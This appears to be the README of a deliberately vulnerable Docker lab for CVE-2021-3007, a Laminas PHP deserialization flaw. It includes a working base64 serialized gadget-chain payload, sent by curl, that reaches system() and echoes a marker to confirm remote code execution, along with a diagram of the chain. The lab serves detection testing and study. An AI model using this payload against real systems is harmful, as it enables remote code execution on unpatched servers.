# Clone repository
git clone https://github.com/KrE80r/CVE-2021-3007-vulnerable
cd CVE-2021-3007-vulnerable

# Start vulnerable environment
docker-compose up -d

# Verify it's running
curl http://localhost:8080

# Test with nuclei (optional)
nuclei -t CVE-2021-3007.yaml -u http://localhost:8080

# Cleanup
docker-compose down

docker-compose up -d && sleep 3 && curl -s http://localhost:8080 | head -1

# Send serialized payload triggering RCE
curl -X POST http://localhost:8080/ \
  -d "data=TzoyODoiTGFtaW5hc1xIdHRwXFJlc3BvbnNlXFN0cmVhbSI6Mjp7czoxMDoiACoAY2xlYW51cCI7YjoxO3M6MTM6IgAqAHN0cmVhbU5hbWUiO086Mjg6IkxhbWluYXNcVmlld1xIZWxwZXJcR3JhdmF0YXIiOjI6e3M6NzoiACoAdmlldyI7TzozMzoiTGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyIjoxOntzOjQ0OiIATGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyAF9faGVscGVycyI7TzoyMToiTGFtaW5hc1xDb25maWdcQ29uZmlnIjoxOntzOjc6IgAqAGRhdGEiO2E6Mjp7czoxMDoiZXNjYXBlaHRtbCI7czo2OiJzeXN0ZW0iO3M6MTQ6ImVzY2FwZWh0bWxhdHRyIjtzOjE3OiJmaWxlX2dldF9jb250ZW50cyI7fX19czoxMzoiACoAYXR0cmlidXRlcyI7YToxOntzOjIyOiJlY2hvIG51Y2xlaUNWRTIwMjEzMDA3IjtpOjE7fX19"

# Expected: Response contains "nucleiCVE20213007" confirming RCE

Laminas\Http\Response\Stream::__destruct()
  └─► Laminas\View\Helper\Gravatar::__toString()
        └─► Laminas\View\Renderer\PhpRenderer::plugin()
              └─► Laminas\Config\Config::get()
                    └─► system() / file_get_contents()

.
├── Dockerfile          # Container build configuration
├── docker-compose.yml  # Orchestration (one-shot setup)
├── index.php           # Vulnerable PHP application
├── LICENSE             # MIT License
└── README.md           # This file